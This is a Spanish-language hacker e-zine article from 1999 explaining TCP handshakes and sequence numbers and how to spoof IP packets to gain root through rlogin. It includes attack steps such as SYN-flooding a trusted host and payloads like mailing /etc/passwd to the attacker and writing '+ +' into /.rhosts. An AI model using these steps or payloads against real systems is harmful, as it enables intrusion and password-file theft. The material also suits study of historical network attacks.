RareGaZz16:(r16_03):21/10/1999 << Back To RareGaZz16


---- { R16_03 } -------------------------------------------------------------- -------- { Ip-Spoofing } ----------------------------------------------------- --- { GuyBrush } 00.Introduccion ~~~~~~~~~~~~ El IP-spoofing es un ataque que requiere una serie de conocimientos tecnicos indispensables para la comprension del mismo. Existen muchos programas por la red que nos permiten hacer este u otros ataques derivados tales como el hijacking. Con este articulo pretendo dar a conocer el funcionamiento del mismo para una mejor comprension de esta tecnica. 01.Composicion de un paquete TCP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Antes de pasar a explicar lo que es el IP-spoofing es necesario conocer y entender el contenido de un paquete TCP. Esta compuesto por muchos campos pero nosotros vamos a centrarnos en los que mas nos interesan que son: las direcciones fuente y destino y puertos de conexion: IP origen ==> direccion IP del que envia el paquete IP destino ==> direccion IP del que va a recibir el paquete Puerto fuente ==> puerto usado por el que realiza en envio Puerto destino ==> puerto a donde va dirigido el paquete los numeros de secuencia de los paquetes: SEQ ==> numero de secuencia del paquete ACK_SEQ ==> numero de acuse de recibo y los flags: SYN ==> peticion de conexion ACK ==> autentificacion de un paquete PSH ==> (PUSH) pasar los datos a la aplicacion RST ==> (RESET) cortar la comunicacion FIN ==> cierre de conexion URG ==> paquete urgente 02.Establecimiento de la conexion ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Una de las cosas mas importantes de la comunicacion en una red es como se realizan las conexiones. Internet es como una gran autopista donde circulan infinidad de paquetes en todos los sentidos y direcciones. Pero, cuando a un host le llega un paquete, que hace con el?, como sabe para que se le ha enviado ese paquete? Para establecer una comunicacion entre dos host primero se debe realizar una conexion en la que ambos se identifiquen segun unas determinadas reglas. Para ello se realiza lo que se conoce como los tres saludos (o saludo en las tres direcciones) usando los flags SYN y ACK de la siguiente forma: ┌────────┬───────────┬─────────┐ │ HOST A │ Direccion │ HOST B │ ├────────┼───────────┼─────────┤ │ │ │ │ ├────────┼───────────┼─────────┤ │ SYN │ --------> │ │ ├────────┼───────────┼─────────┤ │ │ <-------- │ SYN+ACK │ ├────────┼───────────┼─────────┤ │ ACK │ --------> │ │ └────────┴───────────┴─────────┘ El host A le envia al host B un paquete TCP sin datos pero con el bit SYN a 1 El host B le responde al host A con los bits SYN y ACK a 1 y, por ultimo, el host A le envia al host B un tercer paquete con el bit ACK a 1. Pero esto no es tan sencillo como parece. Hemos dejado lo mas importante, que son los numeros de secuencia. Al realizar los tres saludos los numeros quedarian de la siguiente forma: ┌─────────┬───────────┬─────────┐ │ HOST A │ Direccion │ HOST B │ ├─────────┼───────────┼─────────┤ │ │ │ │ ├─────────┼───────────┼─────────┤ │ SEQ=x │ --------> │ │ ├─────────┼───────────┼─────────┤ │ │ <-------- │ SEQ=y │ │ │ │ ACK=x+1 │ ├─────────┼───────────┼─────────┤ │ SEQ=x+1 │ --------> │ │ │ ACK=y+1 │ │ │ └─────────┴───────────┴─────────┘ donde 'x' es un numero aleatorio de secuencia que escoge el host A e 'y' es un numero aleatorio de secuencia que escoge el host B. Lo importante de la identificacion de los paquetes es que el host B le responda al A con ACK igual al numero de secuencia del host A mas 1, previniendo cual sera el proximo valor del SEQ del host A; y que luego el host A le responda al B con SEQ igual a un numero de secuencia mas del que tenia antes (tal y como preveia el host B) y con ACK igual a un numero de secuencia mayor del que tenia el host B. 03.Mantenimiento de la comunicacion ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Una vez realizada la conexion, el host A ya puede enviarle al host B los datos, con lo cual el host B, respondera con ACK a todos los paquetes para indicarle al host A que los recibio correctamente. Del mismo modo, cuando el host B le envie al host A los datos solicitados, este le respondera con otro ACK. Mas adelante veremos un ejemplo practico que nos ayudara a entenderlo mejor. 04.Cierre de la conexion ~~~~~~~~~~~~~~~~~~~~~ Una vez terminada la transmision de datos, el host A debe indicarle al host B que ya no quiere nada mas y que desea finalizar la conexion. Para ello le enviara otro paquete de datos con los bits FIN y ACK a 1, tras lo cual el host B le respondera con un ACK y finalizara la conexion. ┌─────────┬───────────┬────────┐ │ HOST A │ Direccion │ HOST B │ ├─────────┼───────────┼────────┤ │ │ │ │ ├─────────┼───────────┼────────┤ │ FIN+ACK │ --------> │ │ ├─────────┼───────────┼────────┤ │ │ <-------- │ ACK │ └─────────┴───────────┴────────┘ 05.Ejemplo practico de una conexion ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vamos a ver un ejemplo real de una conexion al puerto 514 (remote shell) el cual ha sido monitorizado con un sniffer: ┌────┬─────────┬───────────┬─────────────┬────────────────────┐ │Paso│ HOST A │ Direccion │ HOST B │ Datos │ ├────┼─────────┼───────────┼─────────────┼────────────────────┤ │ │ │ │ │ │ ├────┼─────────┼───────────┼─────────────┼────────────────────┤ │ 1 │ SYN │ --------> │ │ │ ├────┼─────────┼───────────┼─────────────┼────────────────────┤ │ 2 │ │ <-------- │ SYN+ACK │ │ ├────┼─────────┼───────────┼─────────────┼────────────────────┤ │ 3 │ ACK │ --------> │ │ │ ├────┼─────────┼───────────┼─────────────┼────────────────────┤ │ 4 │ ACK+PSH │ --------> │ │ 'guest adm ls' │ ├────┼─────────┼───────────┼─────────────┼────────────────────┤ │ 5 │ │ <-------- │ ACK │ │ ├────┼─────────┼───────────┼─────────────┼────────────────────┤ │ 6 │ │ <-------- │ ACK+PSH │ │ ├────┼─────────┼───────────┼─────────────┼────────────────────┤ │ 7 │ │ <-------- │ ACK+PSH+FIN │ (resultado del ls) │ ├────┼─────────┼───────────┼─────────────┼────────────────────┤ │ 8 │ ACK │ --------> │ │ │ ├────┼─────────┼───────────┼─────────────┼────────────────────┤ │ 9 │ ACK+FIN │ --------> │ │ │ ├────┼─────────┼───────────┼─────────────┼────────────────────┤ │ 10 │ │ <------- │ ACK │ │ └────┴─────────┴───────────┴─────────────┴────────────────────┘ Los pasos 1, 2 y 3 son el establecimiento de la conexion. El paso 4 es la solicitud de datos ( ls) junto con el usuario (guest) y su contraseña (adm) acompañado de un PUSH indicando que ha terminado la peticion. Los pasos 5 y 6 indican que el host B recibio y entendio correctamente la peticion y pasa al envio de los datos solicitados, dado que el user/pass es correcto. En el paso 7 se realiza el envio de los datos solicitados junto con el bit FIN a 1 indicando que se transmitieron todos los datos en ese paquete. Si la solicitud hubiera sido, por ejemplo, 'cat *' nos habria dado la respuesta en varios paquetes puesto que no cabrian todos los datos en uno solo y, el bit FIN solo vendria a 1 en el ultimo paquete. El paso 8 indica que el host A recibio los datos correctamente. Los pasos 9 y 10 son el cierre de la conexion. A continuacion escribire los numeros de secuencia de los paquetes para una mejor comprension: ┌────┬─────────────────────┬───────────┬─────────────────────┐ │Paso│ HOST A │ Direccion │ HOST B │ ├────┼──────────┬──────────┼───────────┼──────────┬──────────┤ │ │ SEQ │ ACK │ │ SEQ │ ACK │ ├────┼──────────┼──────────┼───────────┼──────────┼──────────┤ │ │ │ │ │ │ │ ├────┼──────────┼──────────┼───────────┼──────────┼──────────┤ │ 1 │ 000B3CBC │ │ --------> │ │ │ ├────┼──────────┼──────────┼───────────┼──────────┼──────────┤ │ 2 │ │ │ <-------- │ 5F3CD001 │ 000B3CBD │ ├────┼──────────┼──────────┼───────────┼──────────┼──────────┤ │ 3 │ 000B3CBD │ 5F3CD002 │ --------> │ │ │ ├────┼──────────┼──────────┼───────────┼──────────┼──────────┤ │ 4 │ 000B3CBD │ 5F3CD002 │ --------> │ │ │ ├────┼──────────┼──────────┼───────────┼──────────┼──────────┤ │ 5 │ │ │ <-------- │ 5F3CD002 │ 000B3CD0 │ ├────┼──────────┼──────────┼───────────┼──────────┼──────────┤ │ 6 │ │ │ <-------- │ 5F3CD002 │ 000B3CD0 │ ├────┼──────────┼──────────┼───────────┼──────────┼──────────┤ │ 7 │ │ │ <-------- │ 5F3CD003 │ 000B3CD0 │ ├────┼──────────┼──────────┼───────────┼──────────┼──────────┤ │ 8 │ 000B3CD0 │ 5F3CD0CB │ --------> │ │ │ ├────┼──────────┼──────────┼───────────┼──────────┼──────────┤ │ 9 │ 000B3CD0 │ 5F3CD0CB │ --------> │ │ │ ├────┼──────────┼──────────┼───────────┼──────────┼──────────┤ │ 10 │ │ │ <------- │ 5F3CD0CB │ 000B3CD1 │ └────┴──────────┴──────────┴───────────┴──────────┴──────────┘ 06.Tecnicas de IP-spoofing ~~~~~~~~~~~~~~~~~~~~~~~ Hasta ahora hemos visto como se realiza una conexion y una transmision de datos. Si has entendido bien todo esto, ya estas preparado para entender en que consiste el ataque; si, por el contrario, no te has enterado de nada, mejor que no sigas leyendo. El IP-spoofing tiene muchas aplicaciones, es decir, hay diversas formas de aprovechar esta debilidad. Podemos atacar a distintos puertos de formas diferentes. En este texto nombrare unos cuantos para que os podais hacer una ligera idea pero me centrare en el ataque al puerto 513 (rlogin). Si de verdad se ha entendido el funcionamiento del protocolo TCP, podemos dejar volar nuestra imaginacion y realizar programas que ataquen distintos servicios, por ejemplo: * rlogin: dado que este servicio no requiere autentificacion, podemos atacar un sistema enmascarando paquetes y haciendonos pasar por un host 'amigo' del host objetivo. Esto lo explicare en el siguiente capitulo. * hijacking: este ataque consiste en monitorizar paquetes y, llegado el momento adecuado, robar una conexion. Tambien sirve para putear a alguien dado que podemos resetear (con el flag RST) las conexiones de otros host. Para poder realizar este ataque debemos estar en la misma subred que los dos hosts que mantienen la comunicacion y, ademas, necesitamos software de hijacking, naturalmente. * rsh: el rshell o ejecucion remota de comandos requiere autentificacion, pero, si disponemos de una combinacion de login/pass de algun usuario sin privilegios y queremos acceder al sistema sin dejar ningun rastro, podemos usar el spoofing para realizar una conexion similar a la del ejemplo, pero en lugar de enviar un 'ls' en el campo de datos, podemos enviar un 'mail mi@direccion.de.correo < /etc/passwd' o cualquier otra cosa que se nos ocurra. 07.Entendiendo el funcionamiento de rlogin ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Es importante entender como funciona el servicio rlogin para poder realizar este tipo de ataque. El servicio numero 513 (o rlogin) sirve para realizar conexiones, de manera muy similar al telnet, pero con la diferencia de que no requiere autentificacion, es decir, permite acceder al sistema sin la necesidad de introducir un usuario y un password. Sin embargo, no permite la conexion a todo el mundo sino que solo deja acceder al sistema a unas IPs determinadas. Estas IPs son almacenadas en el fichero .rhosts situado en el directorio home de cada usuario y contiene los datos de los hosts y de los usuario que pueden acceder. Por ejemplo, un fichero .rhosts podria contener: microsoft.com guest Esto quiere decir que el usuario 'guest' del host 'microsoft.com' puede acceder por rlogin a ese sistema, a la cuenta de ese usuario (del usuario que ha configurado asi su .rhosts). Otro ejemplo podria ser: microsoft.com + De esta forma podria acceder cualquier usuario del host 'microsoft.com'. Y si ademas ponemos un '+' en el campo correspondiente al host querra decir que cualquier usuario de cualquier host puede acceder sin contraseña a esa cuenta de ese sistema. Si el fichero .rhost que contiene los dos '+' fuera el que esta en el directorio '/', accederiamos a la cuenta de root con privilegios de superusuario. Otra alternativa para usar el rlogin es que el root configure el fichero '/etc/hosts.equiv' de manera similar al .rhosts, pero de esta forma seria a nivel de todo el sistema y no solo del usuario que modifico su .rhosts. 08.Buscando un trusted host ~~~~~~~~~~~~~~~~~~~~~~~~ Primeramente hay que buscar un buen objetivo para poder poner en practica este dificil ataque. Hay que encontrar un hosts con el servicio 513 disponible y hay que suponer los hosts y usuarios a los que podria permitir el acceso. Dada la dificultad de este ataque vamos a buscar como objetivo al usuario root de un sistema y no a otro usuario sin privilegios. Por tanto, debemos 'suponer' a que maquinas puede dar acceso como root el host que hemos elegido. Esto nos lleva a hacer un estudio del sistema antes de realizar el ataque. Asi, mediante los comandos 'traceroute', 'showmount', 'rpcinfo', y otros, intentaremos sacar la maxima informacion posible e intentar intuir los hosts a los que el administrador (o root) puede acceder por rlogin. 09.Realizando el ataque ~~~~~~~~~~~~~~~~~~~~ Si nosotros intentaramos realizar una conexion a un host, cuando enviemos el primer SYN, nos responderan con un RST dado que no estaremos en su '.rhosts'. Pero si falseamos un paquete haciendonos pasar por un host con acceso al sistema, podremos acceder a el sin impedimentos. Pero esto no es tan sencillo. Trae algunas dificultades muy importantes que debemos entender bien. Primero, si nosotros somos el host A y enviamos un paquete al host B haciendonos pasar por el host C (suponiendo que C si que tenga acceso a B) el host B respondera con SYN + ACK pero no a nosotros sino al host C; por tanto, como este no realizo ninguna peticion de conexion, finalizara con un RST y todo se acabo. Veamos un ejemplo: ┌────┬─────────┬───────────┬─────────────┬─────────────────────────┐ │Paso│ │ Direccion │ │ Descripcion │ ├────┼─────────┼───────────┼─────────────┼─────────────────────────┤ │ │ │ │ │ │ ├────┼─────────┼───────────┼─────────────┼─────────────────────────┤ │ 1 │ SYN │ A ----> B │ │ (A se hace pasar por C) │ ├────┼─────────┼───────────┼─────────────┼─────────────────────────┤ │ 2 │ │ C <---- B │ SYN+ACK │ (B responde a C) │ ├────┼─────────┼───────────┼─────────────┼─────────────────────────┤ │ 3 │ RST │ C ----> B │ │ (C cierra la conexion) │ └────┴─────────┴───────────┴─────────────┴─────────────────────────┘ Para que no ocurra esto debemos enviar el SYN a B y esperar un tiempo (el que tardaria B en respondernos) y despues enviar de nuevo a B un ACK, como si hubieramos recibido correctamente el paquete con el SYN + ACK. Ademas, como el hosts C recibira la respuesta de B hay que 'mantenerlo ocupado' para que no pueda enviarle a B el RST hasta que no realicemos la conexion. Para ello debemos hacer un SYN flooding a C al mismo tiempo que realizamos la conexion con B. El SYN flooding consiste en floodear (enviar muchos paquetes seguidos) a C solicitando conexiones, es decir, con el bit SYN a 1; de manera que le saturemos su buffer y no pueda responder a todas las peticiones. Asi, cuando le llegue el paquete de B sera ignorado ya que estaremos saturando su pila o backlog. Mas o menos seria algo asi: ┌────────┬───────────┬─────────┐ │ HOST A │ Direccion │ HOST B │ ├────────┼───────────┼─────────┤ │ │ │ │ ├────────┼───────────┼─────────┤ │ SYN │ --------> │ │ ├────────┼───────────┼─────────┤ │ SYN │ --------> │ │ ├────────┼───────────┼─────────┤ │ SYN │ --------> │ │ ├────────┼───────────┼─────────┤ │ SYN │ --------> │ │ ├────────┼───────────┼─────────┤ │ SYN │ --------> │ │ ├────────┼───────────┼─────────┤ │ │ ..... │ │ ├────────┼───────────┼─────────┤ │ │ <-------- │ SYN+ACK │ ├────────┼───────────┼─────────┤ │ │ <-------- │ SYN+ACK │ ├────────┼───────────┼─────────┤ │ │ <-------- │ SYN+ACK │ ├────────┼───────────┼─────────┤ │ │ <-------- │ SYN+ACK │ ├────────┼───────────┼─────────┤ │ │ <-------- │ SYN+ACK │ ├────────┼───────────┼─────────┤ │ │ ..... │ │ ├────────┼───────────┼─────────┤ │ │ <-------- │ RST │ └────────┴───────────┴─────────┘ Otra alternativa para no tener que hacer el SYN flooding seria el utilizar como host C una maquina inexistente. Para ello debemos hacer ping a IPs aleatoriamente y cuando veamos una que no responde, podremos usar esa. Una vez realizado el saludo procederemos al envio de los datos en el que podriamos poner algo como 'echo + + > /.rhosts'. Con lo cual, ya podremos acceder como root realizando un rlogin. Un detalle importante en este ataque es que si el host objetivo no usase numeros de secuencia consecutivos no se podria llevar a cabo. 10.Conclusion ~~~~~~~~~~ Este tipo de ataque requiere unos amplios conocimientos sobre TCP/IP y es bastante dificil de realizar con un software que no se entiende. Cada host objetivo requiere unos tiempos de espera distintos y a veces hay que jugar con ellos hasta conseguir nuestro objetivo. Tambien es aconsejable realizar el ataque monitorizando los datos enviados y recibidos para ver el porque no funciona dado que puede ser porque el host C haya respondido o porque los numeros de secuencia no sean aleatorios o, lo mas comun, que no hayamos probado con el host / user adecuados.